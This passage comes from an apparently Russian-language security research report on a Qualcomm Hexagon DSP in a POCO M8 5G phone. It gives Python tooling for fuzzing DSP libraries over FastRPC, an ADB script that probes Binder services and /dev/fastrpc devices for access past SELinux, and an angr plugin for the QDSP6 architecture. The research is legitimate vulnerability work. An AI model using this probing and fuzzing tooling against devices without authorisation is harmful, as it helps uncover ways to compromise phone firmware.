            return data[:4] + struct.pack('<I', 0x7FFFFFFF) + data[8:]
        elif strategy == 5:
            return data[:4] + struct.pack('<I', 0xFFFFFFFF) + data[8:]
        elif strategy == 6:
            return data + bytes([0x41] * 64)
        else:
            b = bytearray(data)
            pos = random.randint(0, min(7, len(b)-1))
            b[pos] = random.randint(0, 255)
            return bytes(b)

    def generate_corpus(self, n: int = 100) -> list:
        corpus = list(self.seed_corpus)
        for _ in range(n - len(self.seed_corpus)):
            base = random.choice(self.seed_corpus)
            for _ in range(random.randint(1, 3)):
                base = self.mutate(base)
            corpus.append(base)
        return corpus


def disasm_func(lib_path: str, func_addr: int, func_size: int) -> str:
    cmds = [
        f'llvm-objdump-20 --arch=hexagon --disassemble-symbols={hex(func_addr)} {lib_path}',
        f'llvm-objdump --arch=hexagon --disassemble-symbols={hex(func_addr)} {lib_path}',
    ]
    for cmd in cmds:
        try:
            result = subprocess.run(cmd.split(), capture_output=True, text=True, timeout=10)
            if result.returncode == 0:
                return result.stdout
        except (subprocess.TimeoutExpired, FileNotFoundError):
            continue
    return "(disassembly unavailable)"


def get_exported_functions(lib_path: str) -> dict:
    result = subprocess.run(['readelf', '--dyn-syms', lib_path],
                            capture_output=True, text=True)
    funcs = {}
    for line in result.stdout.splitlines():
        parts = line.split()
        if len(parts) >= 8 and parts[3] == 'FUNC' and parts[4] == 'GLOBAL':
            try:
                addr = int(parts[1], 16)
                size = int(parts[2])
                name = parts[7]
                if addr > 0:
                    funcs[name] = (addr, size)
            except (ValueError, IndexError):
                pass
    return funcs


def generate_arm64_harness(lib_name: str, func_name: str, func_addr: int) -> str:
    """Generate ARM64 C harness for on-device fuzzing via fastrpc."""
    return f'''/*
 * arm64_harness_{func_name}.c
 * AFL++ harness for {lib_name}::{func_name} via fastrpc on /dev/fastrpc-cdsp
 *
 * Build: clang-20 --target=aarch64-linux-android35 -static -O1 \\
 *          -o harness_{func_name} arm64_harness_{func_name}.c -ladsprpc
 * Deploy: adb push harness_{func_name} /data/local/tmp/
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

typedef struct {{ void* pv; uint32_t nLen; }} remote_buf;
typedef union {{ remote_buf buf; struct {{ int h; }} dma; }} remote_arg;
typedef int (*skel_fn_t)(uint32_t sc, remote_arg* pra);

extern int remote_handle_open(const char* name, int* h);
extern int remote_handle_invoke(int h, uint32_t sc, remote_arg* pra);
extern int remote_handle_close(int h);

static int parse_input(uint8_t* data, size_t len, remote_arg* pra,
                       uint8_t** bufs, int max_args) {{
    if (len < 4) return -1;
    int num_args = *(uint32_t*)data;
    if (num_args < 0 || num_args > max_args) return -1;
    size_t off = 4;
    for (int i = 0; i < num_args && i < max_args; i++) {{
        if (off + 4 > len) return -1;
        uint32_t nLen = *(uint32_t*)(data + off); off += 4;
        bufs[i] = malloc(nLen + 1);
        if (!bufs[i]) return -1;
        uint32_t copy = (off + nLen <= len) ? nLen : (len - off);
        memcpy(bufs[i], data + off, copy); off += copy;
        pra[i].buf.pv   = bufs[i];
        pra[i].buf.nLen = nLen;
    }}
    return num_args;
}}

int main(void) {{
    uint8_t input[65536];
    ssize_t n = read(0, input, sizeof(input));
    if (n < 4) return 0;

    remote_arg pra[8] = {{0}};
    uint8_t* bufs[8]  = {{0}};
    int nargs = parse_input(input, n, pra, bufs, 8);
    if (nargs < 0) return 0;

    int handle = -1;
    const char* uri = "file:///vendor/dsp/{lib_name}?{func_name}&_modver=1.0";
    if (remote_handle_open(uri, &handle) != 0) {{
        fprintf(stderr, "remote_handle_open failed\\n");
        return 1;
    }}

    uint32_t sc = (0 << 3) | (nargs & 0xFF) | ((nargs & 0xFF) << 16);
    remote_handle_invoke(handle, sc, pra);
    remote_handle_close(handle);
    for (int i = 0; i < 8; i++) free(bufs[i]);
    return 0;
}}
'''


def fuzz_with_unicorn(lib_path: str, func_name: str, func_addr: int,
                       func_size: int, iterations: int = 1000):
    """In-process fuzzing using unicorn Hexagon backend (unicorn >= 2.0)."""
    try:
        from unicorn import Uc, UC_ARCH_HEXAGON, UC_MODE_LITTLE_ENDIAN
        from unicorn.hexagon_const import UC_HEXAGON_REG_R0
        HAS_UNICORN_HEX = True
    except (ImportError, AttributeError):
        HAS_UNICORN_HEX = False

    if not HAS_UNICORN_HEX:
        print("  [-] unicorn Hexagon backend not available (requires unicorn >= 2.0)")
        return []

    print(f"  [*] Unicorn fuzzer: {func_name} @ {func_addr:#x}, {iterations} iterations")
    with open(lib_path, 'rb') as f:
        elf_data = f.read()

    TEXT_BASE = 0x00400000
    STACK_BASE = 0x00500000
    BUF_BASE   = 0x00600000

    crashes = []
    mutator = FastrpcMutator(num_args=2, buf_size=256)
    corpus = mutator.generate_corpus(50)

    for i in range(iterations):
        data = mutator.mutate(random.choice(corpus))
        try:
            uc = Uc(UC_ARCH_HEXAGON, UC_MODE_LITTLE_ENDIAN)
            uc.mem_map(TEXT_BASE, 0x100000)
            uc.mem_map(STACK_BASE, 0x10000)
            uc.mem_map(BUF_BASE, 0x10000)
            uc.mem_write(TEXT_BASE, elf_data[:0x100000])
            uc.mem_write(BUF_BASE, data[:0x10000])
            uc.reg_write(UC_HEXAGON_REG_R0, BUF_BASE)
            uc.reg_write(0x1D, STACK_BASE + 0x10000 - 16)
            uc.emu_start(TEXT_BASE + func_addr, TEXT_BASE + func_addr + func_size,
                         timeout=100000, count=10000)
        except Exception as e:
            crashes.append({'input': data.hex(), 'error': str(e), 'iteration': i})
            crash_path = OUT_DIR / f'crash_{func_name}_{i:06d}.bin'
            crash_path.write_bytes(data)

    print(f"  [*] Done: {iterations} iters, {len(crashes)} crashes")
    return crashes


def main():
    parser = argparse.ArgumentParser(description='Hexagon DSP .so fuzzer')
    parser.add_argument('--lib', required=True)
    parser.add_argument('--func', help='Target function name')
    parser.add_argument('--build', action='store_true', help='Generate harness source')
    parser.add_argument('--fuzz',  action='store_true', help='Run fuzzer')
    parser.add_argument('--iters', type=int, default=1000)
    parser.add_argument('--disasm', action='store_true')
    args = parser.parse_args()

    lib_path = args.lib
    if not os.path.exists(lib_path):
        lib_path = str(LIB_DIR / args.lib)

    funcs = get_exported_functions(lib_path)
    print(f"[+] Library: {lib_path}")
    for name, (addr, size) in sorted(funcs.items(), key=lambda x: x[1][0]):
        print(f"    {addr:#010x}  {size:6d}  {name}")

    HARNESS_DIR.mkdir(exist_ok=True)
    OUT_DIR.mkdir(exist_ok=True)

    targets = {args.func: funcs[args.func]} if args.func and args.func in funcs else funcs

    for func_name, (func_addr, func_size) in targets.items():
        if args.disasm:
            print(disasm_func(lib_path, func_addr, func_size)[:3000])

        if args.build:
            src = generate_arm64_harness(Path(lib_path).stem, func_name, func_addr)
            (HARNESS_DIR / f'arm64_harness_{func_name}.c').write_text(src)
            print(f"[+] ARM64 harness: {HARNESS_DIR}/arm64_harness_{func_name}.c")

            mutator = FastrpcMutator()
            corpus_dir = OUT_DIR / f'corpus_{func_name}'
            corpus_dir.mkdir(exist_ok=True)
            for j, inp in enumerate(mutator.generate_corpus(50)):
                (corpus_dir / f'seed_{j:04d}.bin').write_bytes(inp)
            print(f"[+] Corpus: {corpus_dir}/ (50 seeds)")

        if args.fuzz:
            fuzz_with_unicorn(lib_path, func_name, func_addr, func_size, args.iters)


if __name__ == '__main__':
    main()

---

## E.3 binder_fastrpc_map.py — Binder→FastRPC IPC маппер

Исследует полный IPC-путь от ADB shell до Hexagon DSP через ADB. Запускается на хосте, управляет устройством через adb shell. Проверяет: процессы с открытым /dev/fastrpc-cdsp, доступность Binder-сервисов, vndbinder, альтернативные пути.

Статус: Инструмент для диагностики на реальном устройстве. В нашем исследовании запускался только статически (код не запускался на устройстве).

 Запуск: python3 binder_fastrpc_map.py  (требует подключённое устройство через ADB)

Python:
#!/usr/bin/env python3
"""
binder_fastrpc_map.py — Binder → FastRPC IPC path mapper
=========================================================
Исследует IPC-путь: shell → Binder → libcdsprpc.so → /dev/fastrpc-cdsp → DSP skel

Запуск на хосте: python3 binder_fastrpc_map.py
Запуск на устройстве: adb push binder_fastrpc_map.py /data/local/tmp/
                      adb shell python3 /data/local/tmp/binder_fastrpc_map.py
"""

import subprocess, re, sys, json, os
from dataclasses import dataclass, field
from typing import Optional


def adb(cmd: str, timeout: int = 10) -> str:
    try:
        r = subprocess.run(['adb', 'shell', cmd],
                           capture_output=True, text=True, timeout=timeout)
        return (r.stdout + r.stderr).strip()
    except subprocess.TimeoutExpired:
        return f"[TIMEOUT after {timeout}s]"
    except FileNotFoundError:
        return "[ERROR: adb not found]"


def adb_check() -> bool:
    r = subprocess.run(['adb', 'devices'], capture_output=True, text=True)
    lines = r.stdout.strip().splitlines()
    devices = [l for l in lines[1:] if l.strip() and 'offline' not in l]
    return bool(devices)


@dataclass
class ProcessInfo:
    pid: int; name: str; uid: str; secontext: str
    has_cdsp_fd: bool = False
    has_cdsprpc_lib: bool = False
    has_dsp_ndk_lib: bool = False
    binder_services: list[str] = field(default_factory=list)


@dataclass
class ServiceInfo:
    name: str; descriptor: str; pid: int; accessible_from_shell: bool
    transact_result: Optional[str] = None
    leads_to_fastrpc: bool = False


@dataclass
class IpcPath:
    path_name: str; steps: list[str]; working: bool
    error: Optional[str] = None


def find_fastrpc_processes() -> list[ProcessInfo]:
    print("\n[1] Поиск процессов с доступом к FastRPC...")
    processes: dict[int, ProcessInfo] = {}

    maps_result = adb(
        "grep -rl 'libcdsprpc' /proc/*/maps 2>/dev/null | sed 's|/proc/||;s|/maps||'",
        timeout=15
    )
    cdsprpc_pids = {int(l.strip()) for l in maps_result.splitlines() if l.strip().isdigit()}

    dsp_ndk_result = adb(
        "grep -rl 'vendor.qti.hardware.dsp' /proc/*/maps 2>/dev/null | sed 's|/proc/||;s|/maps||'",
        timeout=15
    )
    dsp_ndk_pids = {int(l.strip()) for l in dsp_ndk_result.splitlines() if l.strip().isdigit()}

    cdsp_fd_result = adb(
        "for pid in $(ls /proc | grep '^[0-9]'); do "
        "  ls -la /proc/$pid/fd/ 2>/dev/null | grep -q 'fastrpc-cdsp' && echo $pid; "
        "done",
        timeout=30
    )
    cdsp_fd_pids = {int(l.strip()) for l in cdsp_fd_result.splitlines() if l.strip().isdigit()}

    interesting_pids = cdsprpc_pids | dsp_ndk_pids | cdsp_fd_pids
    print(f"    libcdsprpc PIDs: {len(cdsprpc_pids)}  dsp-ndk: {len(dsp_ndk_pids)}  cdsp-fd: {len(cdsp_fd_pids)}")

    for pid in sorted(interesting_pids):
        name_raw = adb(f"cat /proc/{pid}/comm 2>/dev/null")
        uid_raw  = adb(f"stat -c %u /proc/{pid} 2>/dev/null")
        ctx_raw  = adb(f"cat /proc/{pid}/attr/current 2>/dev/null")
        proc = ProcessInfo(
            pid=pid, name=name_raw.strip() or "?",
            uid=uid_raw.strip() or "?", secontext=ctx_raw.strip() or "?",
            has_cdsp_fd=(pid in cdsp_fd_pids),
            has_cdsprpc_lib=(pid in cdsprpc_pids),
            has_dsp_ndk_lib=(pid in dsp_ndk_pids),
        )
        processes[pid] = proc
        print(f"    PID {pid}: {proc.name} uid={proc.uid}")

    return list(processes.values())


DSP_BINDER_CANDIDATES = [
    ("vendor.qti.hardware.dsp.IDspService/default",
     "vendor.qti.hardware.dsp.IDspService", 1),
    ("vendor.qti.hardware.pal.IPAL/default",
     "vendor.qti.hardware.pal.IPAL", 1),
    ("sensorservice", "android.gui.SensorServer", 1),
]


def check_binder_services() -> list[ServiceInfo]:
    print("\n[2] Проверка Binder-сервисов из shell...")
    results: list[ServiceInfo] = []

    all_services_raw = adb("service list 2>/dev/null", timeout=15)
    all_services = {}
    for line in all_services_raw.splitlines():
        m = re.match(r'^\s*\d+\s+(\S+):\s*\[([^\]]*)\]', line)
        if m:
            all_services[m.group(1)] = m.group(2)

    dsp_found = {k: v for k, v in all_services.items()
                 if any(kw in k.lower() for kw in ['dsp','cdsp','fastrpc','snpe'])}
    if dsp_found:
        print(f"    DSP-related: {list(dsp_found.keys())}")

    for svc_name, descriptor, transact_code in DSP_BINDER_CANDIDATES:
        check_result = adb(f"service check '{svc_name}' 2>&1")
        accessible = 'found' in check_result.lower() and 'not found' not in check_result.lower()
        info = ServiceInfo(name=svc_name, descriptor=descriptor,
                           pid=-1, accessible_from_shell=accessible)
        if accessible:
            print(f"    [+] ДОСТУПЕН: {svc_name}")
            call_result = adb(f"service call '{svc_name}' {transact_code} 2>&1", timeout=5)
            info.transact_result = call_result.strip()
        else:
            print(f"    [-] недоступен: {svc_name}")
        results.append(info)
    return results


def test_alternative_paths() -> list[IpcPath]:
    print("\n[3] Тестирование прямых путей...")
    paths: list[IpcPath] = []

    for dev in ['/dev/fastrpc-cdsp', '/dev/fastrpc-adsp-secure',
                '/dev/fastrpc-cdsp-secure']:
        stat_result = adb(f"ls -laZ {dev} 2>/dev/null")
        if stat_result and 'No such file' not in stat_result:
            dd_result = adb(f"dd if={dev} bs=1 count=0 2>&1", timeout=3)
            accessible = 'Permission denied' not in dd_result
            paths.append(IpcPath(
                path_name=f"direct:{dev}",
                steps=[f"open({dev})", "ioctl(FASTRPC_IOCTL_INVOKE2)"],
                working=accessible,
                error=None if accessible else "SELinux EACCES"
            ))
            print(f"    {'РАБОТАЕТ' if accessible else 'заблокирован'}: {dev}")

    return paths


def main():
    print("="*70 + "\nBinder → FastRPC IPC Mapper\nЦель: POCO M8 5G (SM8635, Hexagon V73)\n" + "="*70)

    if not adb_check():
        print("[!] Устройство не найдено. Подключите и включите USB debugging.")
        sys.exit(1)

    processes = find_fastrpc_processes()
    services  = check_binder_services()
    alt_paths = test_alternative_paths()

    working_binder = [s for s in services if s.accessible_from_shell]
    working_direct = [p for p in alt_paths if p.working]

    print("\n" + "="*70 + "\nИТОГОВАЯ КАРТА\n" + "="*70)
    print(f"Доступных Binder DSP сервисов: {len(working_binder)}")
    print(f"Работающих прямых путей:       {len(working_direct)}")
    if not working_binder and not working_direct:
        print("[!] Прямого пути к CDSP не найдено.")
        print("    Нужен DEX-бинарь через app_process или нативный зонд (binder_probe.c).")

    out_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                             "findings", "ipc_map.json")
    os.makedirs(os.path.dirname(out_path), exist_ok=True)
    with open(out_path, 'w') as f:
        json.dump({
            "device": "POCO M8 5G (SM8635, Hexagon V73)",
            "working_binder": [s.name for s in working_binder],
            "working_direct": [p.path_name for p in working_direct],
        }, f, indent=2)
    print(f"\n[*] Карта сохранена: {out_path}")


if __name__ == "__main__":
    main()


---

# Приложение F. arch_hexagon/ — плагин Hexagon QDSP6 для angr

Полная реализация поддержки Hexagon QDSP6 для angr/pyvex/archinfo. Это именно те файлы, которых не хватает в стандартной установке angr — архитектура не поддерживается официально.

Структура пакета:

Code:
angr/arch_hexagon/
├── __init__.py          — точка входа, setup_hexagon()
├── arch.py              — archinfo.ArchHexagon (регистровый файл, ISA метаданные)
├── registers.py         — полный регистровый файл QDSP6
├── cc.py                — SimCCHexagon / SimCCHexagonFastRPC
├── simos.py             — SimOSQDSP6Bare / SimOSQuRT
├── pypcode_integration.py — интеграция с SLEIGH/pypcode (Ghidra specs)
├── analyses.py          — HexagonSymExHelper / HexagonVulnScanner
├── emulator.py          — HexagonEmulator (конкретное исполнение)
├── disassembler.py      — HexagonDisassembler (pure-Python VLIW декодер)
└── lifter.py            — HexagonLifter → pyvex VEX IR

Установка:

Bash:
# Скопировать пакет в директорию angr
cp -r arch_hexagon/ /path/to/angr/angr/arch_hexagon/

# Или добавить путь к родительской директории в sys.path:
import sys
sys.path.insert(0, '/path/to/parent/of/arch_hexagon')

# Инициализация
from arch_hexagon import setup_hexagon
setup_hexagon()

---

## F.1 __init__.py — точка входа

Python:
"""
Hexagon QDSP6 support for angr.

Full-stack implementation:
  - archinfo.ArchHexagon     — register file, endianness, ISA metadata
  - HexagonDisassembler      — pure-Python VLIW packet decoder
  - HexagonLifter            — pyvex VEX IR lifter (packet → VEX IR)
  - SimCCHexagon             — QDSP6 C ABI calling convention
  - SimCCHexagonSyscall      — QuRT trap0 syscall convention
  - SimOSQDSP6Bare           — bare-metal SimOS
  - SimOSQuRT                — QuRT RTOS SimOS
  - HexagonEmulator          — concrete emulator
  - HexagonSymExHelper       — symbolic execution helper
  - HexagonVulnScanner       — automated vuln scanner
  - install_hexagon_spec()   — install Ghidra SLEIGH spec into pypcode

Quick start::

    import angr
    from arch_hexagon import setup_hexagon, load_hexagon_project

    setup_hexagon()   # register arch, lifter, CC

    p = load_hexagon_project("modem.elf")
    cfg = p.analyses.CFGFast()

    from arch_hexagon.analyses import HexagonSymExHelper
    helper = HexagonSymExHelper(p)
    sm = helper.explore_from(0x1234, find=0x5678)

    from arch_hexagon.emulator import HexagonEmulator
    emu = HexagonEmulator()
    emu.mem.load_bytes(0x1000, shellcode_bytes)
    emu.regs.pc = 0x1000
    emu.run(max_steps=500)
    print(emu.regs.dump())
"""

from __future__ import annotations
import logging

log = logging.getLogger(__name__)

from .arch import ArchHexagon
from .disassembler import HexagonDisassembler, HexPacket, HexInsn
from .lifter import HexagonLifter
from .cc import SimCCHexagon, SimCCHexagonSyscall, SimCCHexagonFastRPC, register_hexagon_cc
from .simos import SimOSQDSP6Bare, SimOSQuRT, register_hexagon_simos
from .emulator import HexagonEmulator, HexagonRegFile, HexagonMemory
from .analyses import HexagonSymExHelper, HexagonVulnScanner, load_hexagon_project
from .pypcode_integration import (
    install_hexagon_spec, get_pypcode_arch, try_create_hexagon_pcode_arch,
)

__all__ = [
    "ArchHexagon", "HexagonDisassembler", "HexPacket", "HexInsn",
    "HexagonLifter", "SimCCHexagon", "SimCCHexagonSyscall", "SimCCHexagonFastRPC",
    "SimOSQDSP6Bare", "SimOSQuRT", "HexagonEmulator", "HexagonRegFile", "HexagonMemory",
    "HexagonSymExHelper", "HexagonVulnScanner", "load_hexagon_project",
    "install_hexagon_spec", "setup_hexagon",
]

_setup_done = False


def setup_hexagon(install_simos: bool = True) -> bool:
    """
    Register all Hexagon/QDSP6 components with angr, archinfo, and pyvex.
    Must be called before loading any QDSP6 binaries into angr.
    Idempotent: safe to call multiple times.
    """
    global _setup_done
    if _setup_done:
        return True

    try:
        import archinfo
        if not any(getattr(a, 'name', None) == 'QDSP6' for a in archinfo.all_arches):
            archinfo.all_arches.append(ArchHexagon())
            try:
                from archinfo.arch import arch_id_map
                arch_id_map.append((
                    ["em_qdsp6", "qdsp6", "hexagon", "QDSP6"],
                    32, archinfo.Endness.LE, ArchHexagon,
                ))
            except Exception:
                pass
    except Exception as e:
        log.warning("archinfo registration failed: %s", e)

    try:
        from pyvex.lifting import register as pyvex_register
        pyvex_register(HexagonLifter, "QDSP6")
    except Exception as e:
        log.warning("pyvex lifter registration failed: %s", e)

    try:
        register_hexagon_cc()
    except Exception as e:
        log.warning("CC registration failed: %s", e)

    if install_simos:
        try:
            register_hexagon_simos()
        except Exception as e:
            log.warning("SimOS registration failed: %s", e)

    try:
        lang = get_pypcode_arch()
        if lang is None:
            log.info(
                "pypcode Hexagon SLEIGH not available. "
                "Install Ghidra hexagon.sla via install_hexagon_spec() "
                "for full pcode engine support."
            )
    except Exception:
        pass

    _setup_done = True
    log.info("Hexagon QDSP6 support initialized")
    return True

---

## F.2 arch.py — archinfo.ArchHexagon

Python:
"""
archinfo.Arch implementation for Qualcomm Hexagon QDSP6.
Supports v5 through v73 ISA variants.
"""

from __future__ import annotations
import re
from archinfo import Arch, Endness, Register
from archinfo.tls import TLSArchInfo
from .registers import ALL_REGS, PC_OFFSET, SP_OFFSET, FP_OFFSET, LR_OFFSET, RET_OFFSET


class ArchHexagon(Arch):
    """
    Qualcomm Hexagon QDSP6 architecture (32-bit little-endian VLIW).
    Used in Qualcomm modem firmware (AMSS / QuRT RTOS).
    """

    name = "QDSP6"
    bits = 32
    endness = Endness.LE
    instruction_endness = Endness.LE
    instruction_alignment = 4

    ip_offset  = PC_OFFSET
    sp_offset  = SP_OFFSET
    bp_offset  = FP_OFFSET
    ret_offset = RET_OFFSET
    lr_offset  = LR_OFFSET

    sizeof = {"short": 16, "int": 32, "long": 32, "long long": 64}

    default_symbolic_registers = [f"r{i}" for i in range(32)] + ["pc"]

    # R16-R27, R29 (SP), R30 (FP) are callee-saved
    callee_saved = [f"r{i}" for i in range(16, 28)] + ["r29", "r30"]

    register_list = list(ALL_REGS.values())

    elf_tls = TLSArchInfo(1, 8, [], [0], [], 0, 0)
    initial_sp = 0xBFFF0000
    elf_arch = 164        # EM_HEXAGON = 164
    linux_name = "hexagon"
    triplet = "hexagon-unknown-linux-musl"

    function_prologs = {
        re.escape(b"\x00\x40\xa1\x9d"),   # allocframe(#0)
        re.escape(b"\x08\x40\xa1\x9d"),   # allocframe(#8)
        re.escape(b"\x10\x40\xa1\x9d"),   # allocframe(#16)
        re.escape(b"\x18\x40\xa1\x9d"),   # allocframe(#24)
        re.escape(b"\x20\x40\xa1\x9d"),   # allocframe(#32)
        re.escape(b"\x28\x40\xa1\x9d"),   # allocframe(#40)
        re.escape(b"\x30\x40\xa1\x9d"),   # allocframe(#48)
        re.escape(b"\x38\x40\xa1\x9d"),   # allocframe(#56)
        re.escape(b"\x40\x40\xa1\x9d"),   # allocframe(#64)
    }

    function_epilogs = {re.escape(b"\x00\xc0\x9f\x52")}  # jumpr R31

    vex_arch = None  # no native VEX support; use pcode engine

    def __init__(self, endness=Endness.LE, *args, **kwargs):
        super().__init__(endness=Endness.LE, *args, **kwargs)

    @property
    def capstone_arch(self):
        return None  # capstone 5.x has no Hexagon yet

    @property
    def keystone_arch(self):
        return None

    def disasm(self, bytestring: bytes, addr: int = 0, thumb: bool = False) -> str:
        from .disassembler import HexagonDisassembler
        d = HexagonDisassembler()
        lines = []
        off = 0
        while off < len(bytestring):
            pkt = d.decode_packet(bytestring[off:], addr + off)
            if pkt is None:
                lines.append(f"{addr + off:#010x}:\t<invalid>")
                off += 4
                continue
            for insn in pkt.insns:
                lines.append(f"{insn.addr:#010x}:\t{insn.mnem}\t{insn.text}")
            off += pkt.size
        return "\n".join(lines)

    def __repr__(self) -> str:
        return "<Arch QDSP6 (LE)>"

---

## F.3 registers.py — регистровый файл

Python:
"""
Hexagon QDSP6 register file.
General: R0-R31 (32-bit each)
Control: SA0, LC0, SA1, LC1, P3:0, M0, M1, USR, PC, UGP, GP, CS0, CS1
Predicates: P0-P3
System: SGP0, SGP1, STID, ELR, BADVA, SSR, CCR, HTID, IMASK
"""

from archinfo import Register

REG_SIZE = 4

_GP_REGS = {f"r{i}": Register(f"r{i}", REG_SIZE, i * REG_SIZE) for i in range(32)}
_GP_REGS["sp"] = Register("sp", REG_SIZE, 29 * REG_SIZE)
_GP_REGS["fp"] = Register("fp", REG_SIZE, 30 * REG_SIZE)
_GP_REGS["lr"] = Register("lr", REG_SIZE, 31 * REG_SIZE)

_CR_BASE = 32 * REG_SIZE  # 128

_CTRL_REGS = {
    "sa0":    Register("sa0",    REG_SIZE, _CR_BASE + 0x00),
    "lc0":    Register("lc0",    REG_SIZE, _CR_BASE + 0x04),
    "sa1":    Register("sa1",    REG_SIZE, _CR_BASE + 0x08),
    "lc1":    Register("lc1",    REG_SIZE, _CR_BASE + 0x0c),
    "p3_0":   Register("p3_0",   REG_SIZE, _CR_BASE + 0x10),
    "m0":     Register("m0",     REG_SIZE, _CR_BASE + 0x18),
    "m1":     Register("m1",     REG_SIZE, _CR_BASE + 0x1c),
    "usr":    Register("usr",    REG_SIZE, _CR_BASE + 0x20),
    "pc":     Register("pc",     REG_SIZE, _CR_BASE + 0x24),
    "ugp":    Register("ugp",    REG_SIZE, _CR_BASE + 0x28),
    "gp":     Register("gp",     REG_SIZE, _CR_BASE + 0x2c),
    "cs0":    Register("cs0",    REG_SIZE, _CR_BASE + 0x30),
    "cs1":    Register("cs1",    REG_SIZE, _CR_BASE + 0x34),
    "upcyclelo": Register("upcyclelo", REG_SIZE, _CR_BASE + 0x38),
    "upcyclehi": Register("upcyclehi", REG_SIZE, _CR_BASE + 0x3c),
    "framelimit": Register("framelimit", REG_SIZE, _CR_BASE + 0x40),
    "framekey":   Register("framekey",   REG_SIZE, _CR_BASE + 0x44),
}

_PRED_BASE = _CR_BASE + 0x10
_PRED_REGS = {
    "p0": Register("p0", 1, _PRED_BASE + 0),
    "p1": Register("p1", 1, _PRED_BASE + 1),
    "p2": Register("p2", 1, _PRED_BASE + 2),
    "p3": Register("p3", 1, _PRED_BASE + 3),
}

_SYS_BASE = _CR_BASE + 0x80
_SYS_REGS = {
    "sgp0":   Register("sgp0",   REG_SIZE, _SYS_BASE + 0x00),
    "sgp1":   Register("sgp1",   REG_SIZE, _SYS_BASE + 0x04),
    "stid":   Register("stid",   REG_SIZE, _SYS_BASE + 0x08),
    "elr":    Register("elr",    REG_SIZE, _SYS_BASE + 0x0c),
    "badva0": Register("badva0", REG_SIZE, _SYS_BASE + 0x10),
    "badva1": Register("badva1", REG_SIZE, _SYS_BASE + 0x14),
    "ssr":    Register("ssr",    REG_SIZE, _SYS_BASE + 0x18),
    "ccr":    Register("ccr",    REG_SIZE, _SYS_BASE + 0x1c),
    "htid":   Register("htid",   REG_SIZE, _SYS_BASE + 0x20),
    "badva":  Register("badva",  REG_SIZE, _SYS_BASE + 0x24),
    "imask":  Register("imask",  REG_SIZE, _SYS_BASE + 0x28),
}

ALL_REGS = {}
ALL_REGS.update(_GP_REGS)
ALL_REGS.update(_CTRL_REGS)
ALL_REGS.update(_PRED_REGS)
ALL_REGS.update(_SYS_REGS)

PC_OFFSET  = _CTRL_REGS["pc"].vex_offset
SP_OFFSET  = _GP_REGS["r29"].vex_offset
FP_OFFSET  = _GP_REGS["r30"].vex_offset
LR_OFFSET  = _GP_REGS["r31"].vex_offset
RET_OFFSET = _GP_REGS["r0"].vex_offset

_CTRL_REGS["ip"] = Register("ip", REG_SIZE, PC_OFFSET)
ALL_REGS["ip"]   = Register("ip", REG_SIZE, PC_OFFSET)


def gpr_offset(n: int) -> int:
    assert 0 <= n <= 31
    return n * REG_SIZE


def pred_offset(n: int) -> int:
    assert 0 <= n <= 3
    return _PRED_BASE + n

---

## F.4 cc.py — Calling Conventions

Python:
"""
Calling conventions for Hexagon QDSP6.

QDSP6 ABI:
  Arguments:   R0-R7
  Return:      R0 (32-bit) or R1:R0 (64-bit)
  Link reg:    R31; Stack ptr: R29; Frame ptr: R30
  Callee-saved: R16-R27, R29, R30

QuRT syscall: trap0(#0) — R0 = syscall number, R1-R5 = args
FastRPC:      trap1(#1) — Hypervisor / fastrpc call
"""

from __future__ import annotations
import logging
from angr.calling_conventions import (
    SimCC, SimCCSyscall, SimRegArg, SimStackArg,
    register_default_cc, DEFAULT_CC,
)

log = logging.getLogger(__name__)


class SimCCHexagon(SimCC):
    ARG_REGS      = ["r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7"]
    FP_ARG_REGS   = []
    STACKARG_SP_BUFF = 0
    STACKARG_SP_DIFF = 0
    RETURN_VAL    = SimRegArg("r0", 4)
    RETURN_VAL_64 = SimRegArg("r0", 8)
    RETURN_ADDR   = SimRegArg("r31", 4)
    CALLER_SAVED_REGS = [f"r{i}" for i in range(16)] + ["r28", "r31"]

    @classmethod
    def _match(cls, arch, args, sp_delta):
        return arch.name == "QDSP6"

    def __repr__(self):
        return "<SimCCHexagon>"


class SimCCHexagonSyscall(SimCCSyscall):
    """QuRT trap0(#0) syscall convention."""
    ARG_REGS    = ["r0", "r1", "r2", "r3", "r4", "r5"]
    FP_ARG_REGS = []
    RETURN_VAL  = SimRegArg("r0", 4)
    RETURN_ADDR = SimRegArg("r31", 4)
    SYSCALL_INSN_TEXT = "trap0(#0)"

    @classmethod
    def syscall_num(cls, state):
        return state.regs.r0

    def __repr__(self):
        return "<SimCCHexagonSyscall>"


class SimCCHexagonFastRPC(SimCCSyscall):
    """Hexagon FastRPC / Hypervisor call via trap1(#1)."""
    ARG_REGS    = ["r0", "r1", "r2", "r3"]
    FP_ARG_REGS = []
    RETURN_VAL  = SimRegArg("r0", 4)
    RETURN_ADDR = SimRegArg("r31", 4)

    @classmethod
    def syscall_num(cls, state):
        return state.regs.r0

    def __repr__(self):
        return "<SimCCHexagonFastRPC>"


def register_hexagon_cc():
    arch_name = "QDSP6"
    if arch_name not in DEFAULT_CC:
        register_default_cc(arch_name, SimCCHexagon)

---

## F.5 simos.py — SimOS (QuRT / Bare-metal)

Python:
"""
SimOS implementations for Hexagon QDSP6.
  SimOSQDSP6Bare — bare-metal / flat binary
  SimOSQuRT      — QuRT RTOS with syscall emulation
"""

from __future__ import annotations
import logging
from typing import Optional
import angr
from angr import SimProcedure
from angr.simos import SimOS

from .cc import SimCCHexagon, SimCCHexagonSyscall

log = logging.getLogger(__name__)

QURT_SYSCALL_TABLE = {
    0x00: "qurt_thread_create",  0x01: "qurt_thread_exit",
    0x02: "qurt_thread_join",    0x03: "qurt_thread_get_id",
    0x06: "qurt_thread_yield",   0x10: "qurt_mutex_init",
    0x12: "qurt_mutex_lock",     0x13: "qurt_mutex_unlock",
    0x20: "qurt_sem_init",       0x22: "qurt_sem_wait",
    0x23: "qurt_sem_post",       0x40: "qurt_mem_region_create",
    0x42: "qurt_mem_map",        0x43: "qurt_mem_unmap",
    0x50: "qurt_timer_create",   0x52: "qurt_timer_start",
    0xFF: "qurt_exception_raise",
}


class QurtSyscallHook(SimProcedure):
    NO_RET = False
    def run(self, *args):
        return self.state.solver.BVV(0, 32)  # QURT_EOK


class QurtThreadCreate(SimProcedure):
    def run(self, *args):
        return self.state.solver.BVV(0x1000, 32)


class SimOSQDSP6Bare(SimOS):
    """SimOS for bare-metal Hexagon binaries (modem ELF, tz.mbn, etc.)."""
    name = "qdsp6-bare"

    def state_entry(self, *args, **kwargs):
